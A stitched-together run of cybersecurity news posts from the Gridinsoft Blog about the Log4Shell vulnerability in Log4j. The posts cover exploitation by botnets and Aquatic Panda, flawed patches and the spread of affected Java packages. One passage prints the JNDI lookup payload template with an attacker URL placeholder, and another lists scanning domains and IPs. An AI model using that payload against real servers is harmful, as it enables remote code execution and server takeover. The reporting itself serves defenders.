The patch can be used to escape the container and escalate privileges, allowing an attacker to take control of the underlying host.

Let me remind you that in December last year, shortly after cybersecurity researchers alarmed about problems in Apache Log4j, Amazon released emergency patches that fix bugs in various environments, including servers, Kubernetes, Elastic Container Service (ECS) and Fargate. The purpose of hotpatches was to quickly fix vulnerabilities while system administrators transited their applications and services to a secure version of Log4j.

Let me also remind you that soon after the discovery of vulnerabilities, real attacks on the Log4Shell were recorded. Moreover, the experts also found out that the Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions.

However, as Palo Alto Networks has now found out, the patches were not very successful and could, among other things, lead to the capture of other containers and client applications on the host.

The experts showed a video demonstrating an attack on the supply chain with the malicious container image and usage of an earlier patch. Similarly, compromised containers can be used to “escape” and take over the underlying host. Palo Alto Networks decided not to share details about this exploit yet, so that attackers could not use it.

In the next step, elevated privileges could be used by a malicious java process to escape the container and take full control of the compromised server.

Users are advised to update to the corrected version of the hotpatch as soon as possible in order to prevent exploitation of related bugs.

The post Amazon Patch for Log4Shell allowed privilege escalation appeared first on Gridinsoft Blog.

Let me remind you that the CVE-2021-44228 vulnerability, also called Log4Shell and LogJam, was discovered in the popular Log4j logging library in early December.

The researchers report that Aquatic Panda uses a modified version of the exploit for a bug in Log4j to gain initial access to the target system and then performs various post-exploitation activities, including exploration and credential collection.

To compromise an unnamed educational institution, the hackers targeted VMware Horizon, which used the vulnerable Log4j library. The exploit used in this attack was published on GitHub on December 13, 2021.

The attackers also conducted reconnaissance efforts to understand privilege levels better and learn more about the domain. Also, they attempted to interrupt a third-party endpoint threat detection and response solution.

After deploying additional scripts, the hackers tried to run PowerShell commands to extract the malware and three VBS files, which appeared to be reverse shells. In addition, Aquatic Panda made several attempts to collect credentials by performing memory dumps and preparing them for theft.

Experts write that the attacked organization was timely warned of suspicious activity and could quickly use the incident response protocol, fixing vulnerable software and preventing further development of the malicious activity.

The Aquatic Panda group has been active since at least May 2020 and typically engages in intelligence gathering and industrial espionage, targeting organizations in the government, telecommunications, and technology sectors. The group’s toolbox includes Cobalt Strike, FishMaster downloader, and njRAT.

Let me also remind you that I wrote that Log4j vulnerability threatens 35,000 Java packages, as well as that Another vulnerability found in Log4j, this time it is a denial of service.

The post Chinese hack group Aquatic Panda exploits Log4Shell to hack educational institutions appeared first on Gridinsoft Blog.

The problem was originally discovered while catching bugs on Minecraft servers, but the Log4j library is present in almost all corporate applications and Java servers. For example, it can be found in almost all enterprise products released by the Apache Software Foundation, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Kafka, Apache Dubbo. Log4j is also actively used in open-source projects such as Redis, Elasticsearch, Elastic Logstash or Hydra.

I also said that Log4j vulnerability threatens 35,000 Java packages.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, although they may not even know about it. Information security experts immediately warned that the solutions of such giants as Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies could be vulnerable to Log4Shell.

It was previously revealed that the first patch for the original problem CVE-2021-44228 (version 2.15) only introduced a new RCE vulnerability CVE-2021-45046 to Log4j, which received 9 points out of 10 on the CVSS vulnerability rating scale.

Because of this, administrators were strongly advised to use only the current version 2.16 and follow further developments on the Log4j update page. The fact is that in Log4j version 2.15, two more less dangerous vulnerabilities were found (CVE-2021-4104 and CVE-2021-42550), which were also eliminated only with the release of version 2.16.

Unfortunately, version 2.16 didn’t last long either. Last weekend, Log4j version 2.17 was released, as a serious denial of service (DoS) issue was detected in the last release, which received the identifier CVE-2021-45105 (7.5 on the CVSS scale). The bug is related to the fact that Log4j does not always protect against infinite recursion during lookup evaluation.

At the same time, experts urge not to panic and not to rush to abandon the use of Log4j at all.

The post Another vulnerability found in Log4j, this time it is a denial of service appeared first on Gridinsoft Blog.

On December 9th the information security ecosystem learned of the vulnerability’s existence that poses great degree of severity and widespread impact. Tens of thousands of software packages (artifacts in the Java ecosystem) and projects use a popular logging tool, log4j that turned out to have the vulnerabilities discussed. As specialists explain these vulnerabilities allow for the remote code execution by exploiting the diffident JNDI lookups feature laid bare by the logging library log4j. In many versions of the library the exploited feature existed by default.

Apache Log4j Vulnerability will take a while to fix

Not long ago disclosed log4j vulnerabilities touched more than 35,000 Java packages, numbering to over 8% of the Maven Central repository. With the repository being the most significant Java package repository it caused an extensive outcome for the software industry. Specialists point out that 8% is a huge result for the ecosystem outcome while the average number for the Maven Central advisories outcome goes with 2% and the median less than 0.1%. Though the numbers mentioned do not enclose all Java packages, for instance directly distributed binaries.

At the time of the post publishing nearly five thousand of the artifacts in question have been fixed. And over 30,000 artifacts, many dependent on another artifact, still wait to be patched. The Team mentions that they counted an artifact as fixed if the artifact had at least one version impacted and has released a greater unimpacted stable version (that’s according to semantic versioning). In the case of log4j an artifact is considered fixed if it has been updated to 2.16.0 or no longer has dependency on log4j.

Two significant problems hinder the fix process

Although the situations in general can be defined as clear, the specialists point out two significant fixing problems. The first objective they define is the fact that many artifacts depend on log4j indirectly. Those of direct dependencies account for around 7,000 of the affected artifacts. In such a case any of its versions depend upon an affected version of log4j-core or log4j-api, described in the CVEs. The indirect dependency or transitive dependency means the dependencies of one’s own dependencies.

All this dependency’s staff creates significant hinders in fixing if to look at it with dependency chains. Here everything stays quite clear: The deeper the vulnerability falls down, the more steps one should go to fix it. According to the Team`s consumers dependency graphs histogram results showed big numbers. In more than 80% of the packages vulnerability is more than one level deep. In majority of which it`s five levels down and in some nine levels down. The process of fixing will require going first to the deepest dependencies first and all tree afterwards.

Open ranges gives the opportunity to select the most recently released version

Another difficulty lies in ecosystem-level choices in the dependency resolution algorithm and requirement specification conventions. The practice differs from those such as npm where they routinely specify open ranges for dependency requirements. Open ranges gives the opportunity to select the most recently released version that satisfies dependency requirements. And it subsequently pulls in new fixes. Users receive a patched version on the next build after the availability of the patch. It generates the dependencies more quickly.

“In the Java ecosystem, it’s common practice to specify “soft” version requirements — exact versions that are used by the resolution algorithm if no other version of the same package appears earlier in the dependency graph. Propagating a fix often requires explicit action by the maintainers to update the dependency requirements to a patched version,” Open Source Insights Team wrote on this second one problem.

With these Team advises the open source community to enable automated dependency updates and add security mitigations. They also provided a list of 500 affected packages with some of the highest transitive usage. In the specialists opinion prioritizing these packages will facilitate fixing efforts and subsequently unblock more of the community. Team thanked those open source maintainers and consumers who have upgraded their versions of log4j.

For the question how long it would take to completely fix everything the Team expressed vague opinion. They say it is hard to know. If it`s all publicly disclosed critical advisories affecting Maven packages then the process might take a while. They say less than half (48%) of the artifacts that a vulnerability impacted have been fixed. But on the log4j front things seem to be promising with about 13% that have been fixed.

The post Apache Log4j Vulnerability explained by Google appeared first on Gridinsoft Blog.

The packages are vulnerable to either the original Log4Shell exploit (CVE-2021-44228) or the second RCE problem discovered after the patch was released (CVE-2021-45046).

This vulnerability has gripped the information security ecosystem since its disclosure on December 10 due to its severity and widespread impact. As a popular logging tool, log4j is used by tens of thousands of software packages (known as artifacts in the Java ecosystem) and projects in the software industry.

Researchers note that usually after the discovery of the next vulnerability, it turns out that it affects only about 2% of the content of Maven Central. However, the 35,000 packages vulnerable to Log4Shell is roughly 8% of all Maven Central content, and experts point out that the percentage is “huge.”

Currently, 4620 developers out of 35,863 packages (13% of the total number of vulnerable packages) have already updated their products. For comparison, the researchers cite similar statistics for past Java vulnerabilities, when about 48% of libraries received patches.

Alas, experts write that the Log4Shell problem is unlikely to be completely fixed in the coming years. The main difficulty is that Log4j is not always a direct dependency and is often a dependency on another dependency. In such situations, developers of vulnerable packages have to wait for other developers to update their applications, which in some cases can take weeks or even months.

For example, according to statistics collected by Google, Log4j is a direct dependency only for 7000 out of 35000 packages, which means that many developers will most likely have to disable indirect dependencies that have not been updated to use safe alternatives.

Let me remind you that we also reported that Experts are already fixing attacks on the Log4Shell vulnerability.

The post Log4j vulnerability threatens 35,000 Java packages appeared first on Gridinsoft Blog.

The vulnerability is already being exploited to deploy miners, Cobalt Strike beacons, etc.

An issue in the popular Log4j logging library included in the Apache Logging Project was reported last week. The 0-day vulnerability received the identifier CVE-2021-44228 and scored 10 out of 10 points on the CVSS vulnerability rating scale, as it allows remote arbitrary code execution (RCE).

The problem is aggravated by the fact that PoC exploits have already appeared on the network, and the vulnerability can be exploited remotely, which does not require advanced technical skills.

The vulnerability forces Java-based applications and servers that use the Log4j library to log a specific line to their internal systems. When an application or server processes such logs, a string can cause the vulnerable system to load and run a malicious script from the domain controlled by the attacker. The result will be a complete hijacking of the vulnerable application or server.

Let me remind you that the patch has already been released as part of the 2.15.0 release.

The attacks on Log4Shell have already begun, Bleeping Computer now reports. The publication says that to exploit the bug. An attacker can change the user agent of his browser and visit a specific site or search for a string on the site using the format ${jndi:ldap://[attacker_URL]}.

This will eventually add a line to the web server’s access logs, and when the Log4j application parses these logs and finds the line, an error will force the server to execute a callback or request the URL specified in the JNDI line. Attackers can then use this URL to send commands to the vulnerable device (either Base64 encoded or Java classes).

Worse, simple pushing of a connection can be used to determine if a remote server is vulnerable to Log4Shell.

It is reported that attackers are already using Log4Shell to execute shell scripts that download and install various miners. In particular, the hackers behind the Kinsing malware and the botnet of the same name actively abuse the Log4j bug and use Base64 payloads that force the vulnerable server to download and execute shell scripts. The script removes the competing malware from the vulnerable device and then downloads and installs the Kinsing malware, which will start mining the cryptocurrency.

In turn, Chinese experts from Netlab 360 warn that the vulnerability is being used to install Mirai and Muhstik malware on vulnerable devices. These IoT threats make vulnerable devices part of botnets, use them to extract cryptocurrency, and conduct large-scale DDoS attacks.

According to Microsoft analysts, a vulnerability in Log4j is also used to drop Cobalt Strike beacons. Initially, Cobalt Strike is a legitimate commercial tool created for pen-testers and red teams focused on exploitation and post-exploitation. Unfortunately, it has long been loved by hackers, from government APT groups to ransomware operators.

So far, there is no evidence to guarantee that the ransomware has adopted an exploit for Log4j. Still, according to experts, deploying Cobalt Strike beacons indicates that such attacks are inevitable.

Also, in addition to using Log4Shell to install various malware, attackers use the problem to scan vulnerable servers and obtain information from them. For example, the exploit shown below can force vulnerable servers to access URLs or perform DNS lookups for callback domains. This allows information security specialists and hackers to determine if a server is vulnerable and use it for future attacks, research, or trying to get a bug bounty from its owners.

Journalists are concerned that some researchers may go too far by using an exploit to steal environment variables that contain server data, including the hostname, username under which the Log4j service runs, OS information, and OS version number.

The most common domains and IP addresses used for these scans are:

• interactsh.com
• burpcollaborator.net
• dnslog.cn
• bin${upper:a}ryedge.io
• leakix.net
• bingsearchlib.com
• 205.185.115.217:47324
• bingsearchlib.com:39356
• canarytokens.com

The post Experts are already fixing attacks on the Log4Shell vulnerability appeared first on Gridinsoft Blog.

The patch was released as part of the 2.15.0 release.

The vulnerability was named Log4Shell and scored 10 out of 10 points on the CVSS vulnerability rating scale. The bug allows remote arbitrary code execution (RCE). Yesterday’s information security researcher aggravated the problem, p0rz9 published a PoC exploit on Twitter, and the vulnerability can be exploited remotely, and this does not require special technical skills.

The problem was originally discovered while searching for bugs on Minecraft servers, but Log4j is present in almost all corporate applications and Java servers. For example, the library can be found in almost all enterprise products the Apache Software Foundation released, including Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo, and so on. Log4j is also actively used in various open-source projects, including Redis, ElasticSearch, Elastic Logstash, Ghidra, and others.

Thus, companies using any of these products are also indirectly vulnerable to attacks on Log4Shell, but may even know about it. Information security specialists already report that solutions of giants like Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, and probably thousands of other companies may be vulnerable to Log4Shell.

p0rz9 wrote that CVE-2021-44228 could only be exploited if the log4j2.formatMsgNoLookups parameter is set to false. KnownSec 404 Team reports that Log4j 2.15.0 has set this parameter to true to prevent attacks. Log4j users who have upgraded to version 2.15.0 and then set the flag to false will again be vulnerable to attacks.

Moreover, Log4j users who have not updated, but have set the flag to true, will still be able to block attacks even on older versions.

Unfortunately, this also means that all older versions are at risk, where this parameter is set to false by default. That is, all previous releases of Log4j, starting with 2.10.0, are vulnerable.

According to experts from Bad Packets and Greynoise, several cybercriminals are already scanning the network in search of applications that may be vulnerable to Log4Shell, which means that there is almost no time left to install patches.

Let me remind you that I also talked about the fact that the IIS bug with worm potential poses a threat to WinRM servers.

The post 0-day In Log4j Library Poses A Threat To Many Applications & Servers appeared first on Gridinsoft Blog.